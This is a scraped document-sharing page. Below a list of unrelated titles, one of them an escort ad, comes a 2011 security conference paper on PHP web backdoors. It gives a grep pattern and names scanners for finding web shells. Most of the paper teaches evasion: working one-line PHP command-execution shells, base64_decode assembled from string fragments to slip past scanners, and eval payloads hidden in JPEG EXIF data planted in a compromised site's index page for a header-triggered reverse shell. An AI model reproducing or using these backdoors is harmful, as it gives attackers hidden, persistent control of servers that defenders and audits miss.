TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
 
Magic bus Group work1and 2 (Team 3).pptx
Magic bus Group work1and 2 (Team 3).pptxMagic bus Group work1and 2 (Team 3).pptx
Magic bus Group work1and 2 (Team 3).pptx
 
Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)
 
SKILL OF INTRODUCING THE LESSON MICRO SKILLS.pptx
SKILL OF INTRODUCING THE LESSON MICRO SKILLS.pptxSKILL OF INTRODUCING THE LESSON MICRO SKILLS.pptx
SKILL OF INTRODUCING THE LESSON MICRO SKILLS.pptx
 
psychiatric nursing HISTORY COLLECTION .docx
psychiatric  nursing HISTORY  COLLECTION  .docxpsychiatric  nursing HISTORY  COLLECTION  .docx
psychiatric nursing HISTORY COLLECTION .docx
 
Unit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptxUnit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptx
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
 
Spellings Wk 3 English CAPS CARES Please Practise
Spellings Wk 3 English CAPS CARES Please PractiseSpellings Wk 3 English CAPS CARES Please Practise
Spellings Wk 3 English CAPS CARES Please Practise
 
Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024
 
Unit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxUnit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptx
 
Asian American Pacific Islander Month DDSD 2024.pptx
Asian American Pacific Islander Month DDSD 2024.pptxAsian American Pacific Islander Month DDSD 2024.pptx
Asian American Pacific Islander Month DDSD 2024.pptx
 
PROCESS RECORDING FORMAT.docx
PROCESS      RECORDING        FORMAT.docxPROCESS      RECORDING        FORMAT.docx
PROCESS RECORDING FORMAT.docx
 
On National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsOn National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan Fellows
 
Key note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdfKey note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdf
 
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx
2024-NATIONAL-LEARNING-CAMP-AND-OTHER.pptx
 
How to Create and Manage Wizard in Odoo 17
How to Create and Manage Wizard in Odoo 17How to Create and Manage Wizard in Odoo 17
How to Create and Manage Wizard in Odoo 17
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdf
 
The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
 
Sociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning ExhibitSociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning Exhibit
 

Web backdoors attacks, evasion, detection

  • 1. Meet Us at http://www.Garage4Hackers.com FB1H2S [http://www.Garage4Hackers.com] [Web Backdoors] [Attack, Evasion and Detection] [fb1h2s aka Rahul Sasi] [G4H 2011]
  • 2. Meet Us at http://www.Garage4Hackers.com FB1H2S Abstract: This paper provides insight on common web back doors and how simple manipulations could make them undetectable by AV and other security suits. Paper explains few techniques that could be used to render undetectable and unnoticed backdoors inside web applications. This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and analysis of a couple of web shells. Current paper takes this topic further and explains a couple of methodologies that could be used to make stealth application layer backdoors using web scripting languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used to stay undetected . Web Application Backdoors: They are simple scripts built using web applications programs that would serve an attacker as a backdoor to the application hosting environment. Detection Methods [Signature Based Detection] In this technique the Antivirus software’s need to have the signature of the Backdoor, and for that the companies should already have had a copy of the backdoor for analyzing. Evading Signature Based Detection: We have previously documented how easy it was to bypass signature based detection. Based on further analysis we were able to conclude that, all most all AV use simple md5 check sum as signature for detecting common Web backdoors or simple text based signatures, though AV using MD5 or other check sum for detection is not any new news. This could be a night mare for many sys admin. A very common backdoor named cybershell.php was scanned with Total Av scanner and following were the results. #Analysis 1.1 Sample md5: ef8828e0bc0641a655de3932199c0527 File Name: cybershell.php Submission date: 2011-08-29 12:00:02 (UTC) Result: 20 /44 (45.5%)
  • 3. Meet Us at http://www.Garage4Hackers.com FB1H2S So for bypassing this it is pretty easy, just add an extra comment line inside the code or strip out few strings from the code and that would be it. #Analysis 1.2 Sample md5: 251e62025daf17be22a028baa8d2b506 File Name: cybershell.php Submission date: 2011-08-29 12:20:42 (UTC) Result: 0 /44 (00.00%) We have already documented on how easy it is to bypass AV detection of web backdoors and its pretty simple and making a document for that it is pointless. May be better ways of detecting them would be a good scope of research. Moving on to the main paper, since that we know by now that AV are of no use detecting Web backdoors, there is no point in finding evasion techniques for them. But there are a handful of good tools and scripts that could scan and detect such backdoors. And also a server admin who is browsing though the source of his web server could easily figure out these ugly backdoors. So this paper would be mainly on how to evade these situations (examples would be in php). Web Backdoor Shell Detection on Servers (Specialized Tools) As documented here , the following are few specialized tools that are effective and 1. Web Shell Detection Using NeoPI - A python Script (https://github.com/Neohapsis/NeoPI) 2. PHP Shell Scanner - A perl Script (http://ketan.lithiumfox.com/doku.php?id=phpshell_scanner) 3. PHP script to find malicious code on a hacked server - A PHP Script (http://25yearsofprogramming.com/blog/2010/20100315.htm) So the logic used by most of these scanners is simply to find all reference to the following function calls, these functions are mainly used for file management and OS command execution and are unavoidable parts in web shells. grep -RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|read file|passthru)" /pathto/webdir/
  • 4. Meet Us at http://www.Garage4Hackers.com FB1H2S NeoPI NeoPI is a Python script that uses a variety of statistical methods to detect obfuscated and encrypted content within text and script files. The intended purpose of NeoPI is to aid in the identification of hidden web shell code. The development focus of NeoPI was creating a tool that could be used in conjunction with other established detection methods such as Linux Malware Detect or traditional signature/keyword based searches. [Source] In the above list NeoPI provides better result than the rest and we will concentrate dealing with this particular tool. One issues with these tools are, manual assessment is very much required since there are a lot of false positives. Few Backdoor codes these scanners will detect. Php Back tick Method <?=@`$_`?> //Php Back tick Method Any code containing any of the above mentioned black listed functions would be caught. elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} The following would be detected as NEOIP has got a mechanism to scan check for natural language, and the series of encoded values would be flagged. $code = “aGVsbG8gYWxsIHRoaXMgaXMganVzdCBhIHRlc3QgZm9yIHRoZSBwYXBlciBub3RoaW5nIGJh ZCBidWhhIGhhIGhhIGhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0aGUgcGFwZXIgb m90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0ZXN0IGZvciB0a GUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYWhlbGxvIGFsbCB0aGlzIGlzIGp1c3QgYSB0 ZXN0IGZvciB0aGUgcGFwZXIgbm90aGluZyBiYWQgYnVoYSBoYSBoYQ==” Decodethis($code)
  • 5. Meet Us at http://www.Garage4Hackers.com FB1H2S Evasion Techniques Evasion #1: Situation: Admin Might Scan his server with one of the above tools. Evasion: Php supports Variable Function : // following code is detected as base64_decode is detected as malicious content by one of the above tools <?php $badcode =”am_encoded_bad_code_buhaha”; Eval(base64_decoded($badcode); ?> An alternate way to bypass the scan would be done the following way. <?php $badcode =”am_encoded_bad_code_buhaha” ; $b = “base”; $c = “64_”; $d =”decode”; alternate = $b.$c.$d; eval(alternate($badcode); We will be explaining an alternate for EVAL soon.
  • 6. Meet Us at http://www.Garage4Hackers.com FB1H2S Evasion #2: Situation: Admin manually searches through source code, he could possibly get suspicious the string like base64 etc, he might spot large encoded strings in his web application files. Evasion: A simple evasion for making this work would be to make the backdoor code as small as possible; so that it could be included with other code and remain undetected. <? $_ = $_GET[2]; $__= $_GET[1] ; echo '<pre>'.$_($__).'</pre>'; ?> It could be further shortened to the following format <?=($_=@$_GET[c]).@$_($_GET[f])?> These small few lines of code would be able to give command execution. It would be completely undetectable by any of the above tools and not easily by manual code audits. Changing the above code from using GET request to POST request would prevent it from showing up in logs files too.
  • 7. Meet Us at http://www.Garage4Hackers.com FB1H2S Evasion #3: Situation: The applications are audited using some source code audit scanners that detect all possible user inputs fields and traces possible code injection attacks. Thus taking the input via _GET and _POST method might get detected. Evasion: It’s possible to place data inside JPEG EXIF headers, so we will put all function calls and data inside an image and assemble them at runtime, that way the inputs would be coming not form user but form a local source . <?php $_ = exif_read_data ('image.jpg'); $d=$_['Make']; //base64_decode $str = $_['Code']; // Evil Base64_encoded code eval($d($str)); // eval(base64_decode(code)) ?> Here image.jpeg, could contain all our php code and shell codes, and the exif_read_data tag could be used to call individual meta tags and function calls could be constructed at runtime. Similarly we could hide a reverse shell inside an image and place it inside the index page, so whenever a request to the main page is made with a particular HTTP Header our backdoor would be triggered, this way it would be less noisy and undetectable by AV, code audits, and any backdoor hunting script. Note: An alternate for eval would be using the preg_replace() function with /e switch : <?php $code_fb = 'print( 'Hello, fb1h2s !'.PHP_EOL)'; preg_replace('/(.*)/e', $code_fb, '' ); ?>
  • 8. Meet Us at http://www.Garage4Hackers.com FB1H2S Demo: The above small piece of code is injected into index page of a compromised site. The image with the actual malicious code is added to sites /images directory. Code is triggered on a particular HTTP header may be user_agent == w1d0ws. On accessing the index page we will get a reverse shell. Benefits: Backdoor remains undetected from shell scanners and AV Remains undetected form code auditing software’s. No traces in log files Here is how it looks: Am an innocent page  Request:
  • 9. Meet Us at http://www.Garage4Hackers.com FB1H2S Shell Obtained: Improvements: The POC code/demo would have a PHP code that would be able to load shell codes and provide connect back shell. Thanks for Reading, Fb1h2s @ gmail.com http://www.Garage4Hackers.com [This paper was presented and demos were given at C0C0N Sec Conference 2011 Oct -9 ]